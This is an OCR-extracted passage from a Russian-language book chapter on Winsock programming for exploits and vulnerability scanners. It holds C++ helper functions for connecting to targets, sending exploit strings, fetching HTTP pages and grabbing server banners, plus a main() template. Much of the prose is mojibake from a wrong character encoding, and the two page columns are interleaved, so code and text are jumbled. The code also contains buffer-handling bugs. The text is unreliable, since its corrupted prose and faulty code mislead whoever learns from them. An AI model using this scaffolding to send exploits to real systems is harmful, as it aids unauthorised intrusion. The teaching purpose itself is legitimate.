48 MySock = socket(AF_INET, SOCK_STREAM, 0); 96 char buffer[MAX] = "";
49 if(MySock==INVALID_SOCKET) 97 char *loc = strstr(whole_str, old_str);
50 { 98 if(loc != NULL)
51 printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n"); 99 {
52 closesocket(MySock); 100 strncpy(buffer, whole_str, loc-whole_str );
53 WSACleanup(); 101 strcat(buffer, new_str);
54 return (FALSE); 102 strcat(buffer, loc + (strlen(old_str)));
55 } 103 strcpy(whole_str, buffer);
56 if ((pTarget = gethostbyname(targetip)) == NULL) 104 }
218 Глава 4. Сокеты на платформе Windows (Winsock) Написание эксплойтов и программ для проверки наличия уязвимостей 219
105 return whole_str; 153 char sendfile[STRING_MAX];
106 } 154 strcpy(sendfile, send_string);
107 char *send_exploit(char *targetip, int port, char *send_string) 155 if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1)
108 { 156 {
109 WSADATA wsaData; 157 printf("Îøèáêà ïðè îòïðàâêå ïàêåòà\r\n");
110 WORD wVersionRequested; 158 closesocket(MySock);
111 struct hostent target_ptr; 159 exit(1);
112 struct sockaddr_in sock; 160 }
113 SOCKET MySock; 161
114 wVersionRequested = MAKEWORD(2, 2); 162 send(MySock, sendfile, sizeof(sendfile)-1, 0);
115 if (WSAStartup(wVersionRequested, &wsaData) != 0) 163 char *recvString = new char[MAX];
116 { 164 int nret;
117 printf("############ÎØÈÁÊÀ!####################\n"); 165 nret = recv(MySock, recvString, MAX + 1, 0);
118 printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n"); 166 char *output= new char[nret];
119 printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n"); 167 strcpy(output, "");
120 printf("âåðñèþ ws2_32.dll.\n"); 168 if (nret == SOCKET_ERROR)
121 WSACleanup(); 169 {
122 exit(1); 170 printf("Îøèáêà ïðè ïîïûòêå ïðèíÿòü äàííûå.\n");
123 } 171 }
124 MySock = socket(AF_INET, SOCK_STREAM, 0); 172 else
125 if(MySock==INVALID_SOCKET) 173 {
126 { 174 strncat(output, recvString, nret);
127 printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n"); 175 delete [ ] recvString;
128 176 }
129 closesocket(MySock); 177 closesocket(MySock);
130 WSACleanup(); 178 WSACleanup();
131 exit(1); 179 return (output);
132 } 180 delete [ ] output;
133 if ((pTarget = gethostbyname(targetip)) == NULL) 181 }
134 { 182 char *get_http(char *targetip, int port, char *file)
135 printf("\nÍå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n.\n", 183 {
targetip); 184 WSADATA wsaData;
136 185 WORD wVersionRequested;
137 closesocket(MySock); 186 struct hostent target_ptr;
138 WSACleanup(); 187 struct sockaddr_in sock;
139 exit(1); 188 SOCKET MySock;
140 } 189
141 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 190 wVersionRequested = MAKEWORD(2, 2);
142 sock.sin_family = AF_INET; 191 if (WSAStartup(wVersionRequested, &wsaData) < 0)
143 sock.sin_port = htons((USHORT)port); 192 {
144 193 printf("############ÎØÈÁÊÀ!####################\n");
145 if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) ))) 194 printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n");
146 { 195 printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n");
147 printf("Íå óäàëîñü ñîåäèíèòüñÿ ñ õîñòîì.\n"); 196 printf("âåðñèþ ws2_32.dll.\n");
148 197
149 closesocket(MySock); 198 WSACleanup();
150 WSACleanup(); 199 exit(1);
151 exit(1); 200 }
152 } 201 MySock = socket(AF_INET, SOCK_STREAM, 0);
220 Глава 4. Сокеты на платформе Windows (Winsock) Написание эксплойтов и программ для проверки наличия уязвимостей 221
202 if(MySock==INVALID_SOCKET) 250 if (nret == SOCKET_ERROR)
203 { 251 {
204 printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n"); 252 printf("Îøèáêà ïðè ïîïûòêå ïðèíÿòü äàííûå.\n");
205 253 }
206 closesocket(MySock); 254 else
207 WSACleanup(); 255 {
208 exit(1); 256 strncat(output, recvString, nret);
209 } 257 delete [ ] recvString;
210 if ((pTarget = gethostbyname(targetip)) == NULL) 258 }
211 { 259 closesocket(MySock);
212 printf("\nÍå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n.\n", 260 WSACleanup();
targetip); 261
213 262 return (output);
214 closesocket(MySock); 263 delete [ ] output;
215 WSACleanup(); 264 }
216 exit(1); 265 char *banner_grab(char *targetip, int port)
217 } 266 {
218 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 267 char start_banner[] = "Server:";
219 sock.sin_family = AF_INET; 268 char end_banner[] = "\n";
220 sock.sin_port = htons((USHORT)port); 269 int start = 0;
221 270 int end = 0;
222 if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) ))) 271 char* ret_banner = new char[MAX];
223 { 272 char* buffer = get_http(targetip, port, "/");
224 printf("Íå óäàëîñü ñîåäèíèòüñÿ ñ õîñòîì.\n"); 273
225 274 int len = strlen(buffer);
226 closesocket(MySock); 275
227 WSACleanup(); 276 char *pt = strstr(buffer, start_banner );
228 exit(1); 277
229 } 278 if( pt != NULL )
230 char sendfile[STRING_MAX]; 279 {
231 strcpy(sendfile, "GET "); 280 start = pt – buffer;
232 strcat(sendfile, file); 281 for(int x = start; x < len; x++)
233 strcat(sendfile, " HTTP/1.1 \r\n" ); 282 {
234 strcat(sendfile, "Host: localhost\r\n\r\n"); 283 if(_strnicmp( buffer + x, end_banner, 1 ) == 0)
235 if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1) 284 {
236 { 285 end = x;
237 printf("Error sending Packet\r\n"); 286 x = len;
238 closesocket(MySock); 287 }
239 WSACleanup(); 288 }
240 exit(1); 289 strcpy(ret_banner, " ");
241 } 290 strncat (ret_banner, buffer + start – 1 , (end – start));
242 send(MySock, sendfile, sizeof(sendfile)-1, 0); 291 }
243 292 else
244 char *recvString = new char[MAX]; 293 {
245 int nret; 294 strcpy(ret_banner, "EOF");
246 nret = recv(MySock, recvString, MAX + 1, 0); 295 }
247 296 return (ret_banner);
248 char *output= new char[nret]; 297 delete [ ] ret_banner;
249 strcpy(output, ""); 298 }
222 Глава 4. Сокеты на платформе Windows (Winsock) Написание эксплойтов и программ для проверки наличия уязвимостей 223

Анализ  Â ñòðîêàõ 182–164 îïðåäåëåíà ôóíêöèÿ get_http(). Îíà ïðèíèìàåò IP-àä-


ðåñ, íîìåð ïîðòà è URL äîêóìåíòà, êîòîðûé âû õîòèòå ïîëó÷èòü îò
 Â ñòðîêàõ 6–29 îïðåäåëåíà íåìàëîâàæíàÿ ôóíêöèÿ junk(). Åñëè âàì êîã- Web-ñåðâåðà.
äà-íèáóäü äîâîäèëîñü ïèñàòü ýêñïëîéòû, òî âû íàâåðíÿêà ñòàëêèâàëèñü  Â ñòðîêàõ 265–298 îïðåäåëåíà ôóíêöèÿ banner_grab(). Îíà ïðèíèìàåò
ñ íåîáõîäèìîñòüþ öèêëîâ, ïîðîæäàþùèõ äëèííóþ ñòðîêó, â êîòîðîé IP-àäðåñ è íîìåð ïîðòà. Â ïðåäïîëîæåíèè, ÷òî íà ýòîì ïîðòó ðàáîòàåò
ïîâòîðÿåòñÿ îäèí è òîò æå ñèìâîë èëè ñëó÷àéíûå ñèìâîëû. Junk() äåëà- Web-ñåðâåð, ôóíêöèÿ âåðíåò ïîëó÷åííóþ îò íåãî øàïêó.
åò íå÷òî ïîäîáíîå. Îíà ïðèíèìàåò äâà àðãóìåíòà – ñòðîêó è ÷èñëî, È, íàêîíåö, ôóíêöèÿ main(). Ýòî ãëàâíàÿ òî÷êà âõîäà â ïðîãðàììó, êîòîðàÿ
à âîçâðàùàåò äëèííóþ ñòðîêó, â êîòîðîé èñõîäíàÿ ïîâòîðåíà óêàçàííîå äëÿ âñåõ ýêñïëîéòîâ è ñêàíåðîâ óÿçâèìîñòåé ïèøåòñÿ ïðèìåðíî ïî îäíîìó
÷èñëî ðàç. Õîòÿ ôóíêöèÿ ñîâñåì ïðîñòàÿ, íî ïîìîæåò ñýêîíîìèòü âðå- øàáëîíó. Îíà íå âõîäèò â ôàéë hack.h, à ïîìåùåíà â îòäåëüíûé ôàéë empty.cpp.
ìÿ ïðè íàïèñàíèè êîäà ýêñïëîéòà, îñîáåííî åñëè åãî öåëüþ ÿâëÿåòñÿ Ôóíêöèÿ ïîëó÷àåò íà âõîäå àðãóìåíòû, çàäàííûå ïîëüçîâàòåëåì â êîìàíäíîé
ïåðåïîëíåíèå áóôåðà èëè ýêñïëóàòàöèÿ îøèáêè ïðè ïðîñìîòðå ôàéëà. ñòðîêå, â äàííîì ñëó÷àå IP-àäðåñ èëè äîìåííîå èìÿ è, âîçìîæíî, íîìåð ïîð-
  ñòðîêàõ 30–80 îïðåäåëÿåòñÿ åùå îäíà ïîëåçíàÿ ôóíêöèÿ – is_up(). òà.  íåé ñîñðåäîòî÷åí êîä äëÿ àíàëèçà àðãóìåíòîâ è ïðè íåîáõîäèìîñòè ïå÷à-
Áûòü ìîæåò, ýòî ïðîñòåéøàÿ èç âñåõ ïðîãðàìì äëÿ ðàáîòû ñ ñîêåòàìè. òè ñîîáùåíèÿ î òîì, ÷òî îíè çàäàíû íåâåðíî. Èìåéòå â âèäó, ÷òî ñåìàíòèêà
Îíà ïûòàåòñÿ ñîåäèíèòüñÿ ñ êîíêðåòíûì ïîðòîì íà óêàçàííîé ìàøèíå. ïàðàìåòðîâ ìîæåò èçìåíÿòüñÿ â çàâèñèìîñòè îò ïðèðîäû ýêñïëîéòà èëè ïðî-
Åñëè connect() âîçâðàùàåò îøèáêó, çíà÷èò ïîðò çàêðûò è ôóíêöèÿ âîç- âåðêè íàëè÷èÿ óÿçâèìîñòè.
âðàùàåò FALSE.  ïðîòèâíîì ñëó÷àå ýòîò ïîðò ïðîñëóøèâàåò êàêîå-òî
ïðèëîæåíèå. Ïîòðåáíîñòü â òàêîé ôóíêöèè îñîáåííî ñèëüíà, åñëè Пример 4.6. Шаблон функции main
íóæíî îòïðàâèòü êîä ýêñïëîéòà â íåñêîëüêî ïîðòîâ èëè ðàçîñëàòü åãî 1 #include <stdio.h>
ïî ðàçíûì IP-àäðåñàì. Åñëè ïðåäâàðèòåëüíî óáåäèòüñÿ, ÷òî öåëåâîé 2 int main(int argc, char *argv[])
3 {
ïîðò îòêðûò, òî ïðîãðàììà áóäåò èñïîëíÿòüñÿ áûñòðåå è íå ñòàíåò çà-
4 int port = 80;
íèìàòü ïîëîñó ïðîïóñêàíèÿ, ïûòàÿñü îòïðàâèòü êîä â íåîòâå÷àþùèå 5 char *targetip;
ïîðòû. Ýòà ôóíêöèÿ ïîëåçíà òàêæå äëÿ òîãî, ÷òîáû ïðîâåðèòü, óäàëîñü 6
ëè âûâåñòè èç ñòðîÿ ñëóæáó ñ ïîìîùüþ DoS-àòàêè. Îäíàêî èìåéòå 7 if (argc < 2)
â âèäó – òîò ôàêò, ÷òî ñ ïîðòîì óäàëîñü óñòàíîâèòü ñîåäèíåíèå, åùå íå 8 {
9 printf("XXXXXX usage:\r\n");
îçíà÷àåò, ÷òî ñëóæáà íà íåì ðàáîòàåò ïðàâèëüíî. Ñîåäèíåíèÿ ìîãóò 10 printf(" %s <TargetIP>\r\n", argv[0]);
ïðèíèìàòüñÿ, íî â îáñëóæèâàíèè êëèåíòàì âñå ðàâíî áóäåò îòêàçàíî. 11 return(0);
 Â ñòðîêàõ 81–92 îïðåäåëåíà ôóíêöèÿ is_string_in(). Îíà ïðèíèìàåò äâå 12 }
ñòðîêè è ïðîâåðÿåò, âõîäèò ëè ïåðâàÿ âî âòîðóþ. Ýòî áûâàåò ïîëåçíî, 13 targetip = argv[1];
14
êîãäà âû õîòèòå íàéòè êîíêðåòíûå ïîäñòðîêè â øàïêå, ïîëó÷åííîé îò 15 if (argc >= 3)
îïðàøèâàåìîé ñëóæáû. 16 {
 Â ñòðîêàõ 93–106 îïðåäåëåíà ôóíêöèÿ replace_string(). Åé ïåðåäàþòñÿ òðè 17 port = atoi(argv[2]);
ñòðîêè: whole_string – ýòî ìîäèôèöèðóåìûé òåêñò, old_string – ñòðîêà, 18 }
19 // Ñàì ýêñïëîéò //////////////////////
êîòîðóþ âû õîòèòå â íåì íàéòè è çàìåíèòü, à new_string – ñòðîêà, íà êî- 20 }
òîðóþ íóæíî çàìåíèòü old_string.
 Â ñòðîêàõ 107–181 îïðåäåëåíà ôóíêöèÿ send_exploit(). Îíà, âåðîÿòíî, áó-
äåò âåñüìà ïîëåçíà äëÿ íåñëîæíûõ ýêñïëîéòîâ, â çàäà÷ó êîòîðûõ íå âõî- Анализ
äèò îòïðàâêà íåïðåðûâíîãî ïîòîêà çàïðîñîâ ïî îäíîìó è òîìó æå ñî-   ñòðîêå 3 îïðåäåëÿåòñÿ ïîðò 80, ïðèíèìàåìûé ïî óìîë÷àíèþ;
åäèíåíèþ. send_exploit() ðåøàåò ïðîñòóþ çàäà÷ó: îòïðàâèòü ýêñïëîéò è   ñòðîêàõ 7–11 ïå÷àòàåòñÿ ñîîáùåíèå î ïîðÿäêå çàïóñêà â ñëó÷àå, åñëè
ïðîâåðèòü ïîëó÷åííûé âñëåä çà ýòèì îòâåò. Îíà ïðèíèìàåò òðè àðãó- â êîìàíäíîé ñòðîêå íå çàäàíû àðãóìåíòû;
ìåíòà: ñòðîêó ñ IP-àäðåñîì, íîìåð ïîðòà è ñòðîêó, ñîäåðæàùóþ êîä ýêñ-  Â ñòðîêàõ 15–17 àíàëèçèðóåòñÿ, óêàçàë ëè ïîëüçîâàòåëü íîìåð ïîðòà. Åñëè
ïëîéòà. íåò, òî îñòàíåòñÿ â ñèëå íîìåð, ïðèíÿòûé ïî óìîë÷àíèþ, òî åñòü 80.
224 Глава 4. Сокеты на платформе Windows (Winsock) Ссылки на сайты 225

òà, ëèáî âñòàâèâ äèðåêòèâû #pragma íåïîñðåäñòâåííî â èñõîäíûé


Резюме òåêñò ñâîåé ïðîãðàììû.
API WinSock 2 íàõîäèòñÿ â áèáëèîòåêå ws2_32.dll è ïðåäíàçíà÷åí äëÿ âçàèìî- Ïðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèé
äåéñòâèÿ ñ èíòåðôåéñîì ñåðâèñ-ïðîâàéäåðà Winsock (SPI). Èìåííî íà óðîâíå
SPI ïðîèñõîäèò ðàáîòà ñ àïïàðàòóðîé. Ïðåëåñòü Winsock API â òîì, ÷òî ïðî- ; Áîëüøèíñòâî ýêñïëîéòîâ è ñêàíåðîâ óÿçâèìîñòåé îñíîâàíî íà òåõíî-
ãðàììèñò ñîõðàíÿåò ïîëíûé êîíòðîëü íàä òåì, ÷òî îòïðàâëÿåòñÿ óñòðîéñòâó ëîãèè êëèåíò–ñåðâåð. Êëèåíò ñîåäèíÿåòñÿ ñ óäàëåííîé ñèñòåìîé, îò-
è ÷òî ïðèíèìàåòñÿ îò íåãî, íå çíàÿ, êàêîâî ýòî óñòðîéñòâî íà ñàìîì äåëå. ïðàâëÿåò åé çàïðîñû è ÷èòàåò îòâåòû.
;  îáùåì ñëó÷àå ôóíäàìåíòàëüíàÿ ðàçíèöà ìåæäó êëèåíòîì è ñåðâåðîì
Íåîáõîäèìàÿ ÷àñòü ëþáîé ïðîãðàììû äëÿ ðàáîòû ñ ñîêåòàìè – ýòî óñòà-
ñîñòîèò â òîì, êòî èíèöèèðóåò ñîåäèíåíèå. Êàê ïðàâèëî, êëèåíò íà÷è-
íîâëåíèå ñîåäèíåíèÿ ñ ïðîâåðêîé êîäîâ îøèáîê ïîñëå âûçîâà êàæäîé áèá-
íàåò ñåàíñ ñâÿçè, à ñåðâåð îòâå÷àåò íà çàïðîñû.
ëèîòå÷íîé ôóíêöèè. Ñàìè îïåðàöèè îòïðàâêè è ïðèåìà äàííûõ íåñëîæíû.
Âî ìíîãèõ êðóïíûõ ïðîåêòàõ çíà÷èòåëüíàÿ äîëÿ ïðîãðàììû ïîñâÿùåíà îá-
ðàáîòêå îøèáîê, äàáû îíè íå ïðèâåëè ê ôàòàëüíîìó ñáîþ. Åñëè â ïðèìåðå
Ïðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèé
4.4 âû ïðèñâîèòå êîíñòàíòàì MAX è STRING_MAX íåáîëüøèå çíà÷åíèÿ ; Ñåðâåðíûå ïðèëîæåíèÿ, íàïèñàííûå ñ ïðèìåíåíèåì Winsock, ìàëî
(ñêàæåì, 10), à çàòåì ïîïûòàåòåñü îòïðàâèòü äëèííîå ñîîáùåíèå, òî óâèäèòå, ÷åì îòëè÷àþòñÿ îò êëèåíòñêèõ. Òå è äðóãèå îòïðàâëÿþò è ïðèíèìàþò
êàê ëåãêî ïîëó÷èòü ïåðåïîëíåíèå áóôåðà. äàííûå. Ðàçíèöà òîëüêî â òîì, êòî ÿâëÿåòñÿ èíèöèàòîðîì ñîåäèíåíèÿ.
Ïåðåïîëíåíèÿ, êîòîðûå âîçíèêàþò íå÷àñòî, ìîãóò ïîêàçàòüñÿ ìåëêîé íå- Ïî ñâîåé ïðèðîäå ñåðâåð ïàññèâåí, îí æäåò ïîñòóïëåíèÿ î÷åðåäíîãî
ïðèÿòíîñòüþ, äàæå åñëè îíè è ïðèâîäÿò ê êðàõó ïðîãðàììû. Íî èìåííî îíè çàïðîñà îò êëèåíòà, à çàòåì îáñëóæèâàåò åãî.
îêàçûâàþòñÿ èñòî÷íèêîì óÿçâèìîñòåé ñåðâåðà, ïðîòèâ êîòîðûõ è íàïðàâëå-
íû ýêñïëîéòû. Winsock API – âåëèêîëåïíûé èíñòðóìåíò äëÿ íàïèñàíèÿ ýêñï- Íàïèñàíèå ýêñïëîéòîâ è ïðîãðàìì
ëîéòîâ è ïðîãðàìì äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé. Èçó÷àÿ òåêñòû ýêñï- äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé
ëîéòîâ, èìåþùèåñÿ â ñåòè, âû îáíàðóæèòå, ÷òî âî ìíîãèõ èñïîëüçóåòñÿ ; Íàïèñàííûé íàìè ôàéë hack.h ìîæíî ñ óñïåõîì èñïîëüçîâàòü íå òîëü-
Winsock 2. Ïðîãðàììû æå, íàïèñàííûå äëÿ UNIX è Linux, ìîãóò áûòü ñðàâíè- êî â ïðèìåðàõ èç ýòîé êíèãè, íî è ïðàêòè÷åñêè â ëþáîì ïðèëîæåíèè,
òåëüíî ëåãêî ïåðåíåñåíû íà ïëàòôîðìó Winsock 2. èìåþùåì îòíîøåíèå ê èíôîðìàöèîííîé áåçîïàñíîñòè, ïîñêîëüêó îí
óïðîùàåò êîäèðîâàíèå ñòàíäàðòíûõ ïðîöåäóð, ÷àñòî âñòðå÷àþùèõñÿ
â ýêñïëîéòàõ è äðóãèõ ïîäîáíûõ ïðîãðàììàõ.
Обзор изложенного материала
Ñïåöèôèêàöèÿ Winsock Ссылки на сайты
; Ñïåöèôèêàöèÿ è ïåðâàÿ âåðñèÿ Winsock áûëè âûïóùåíû â ÿíâàðå
 ww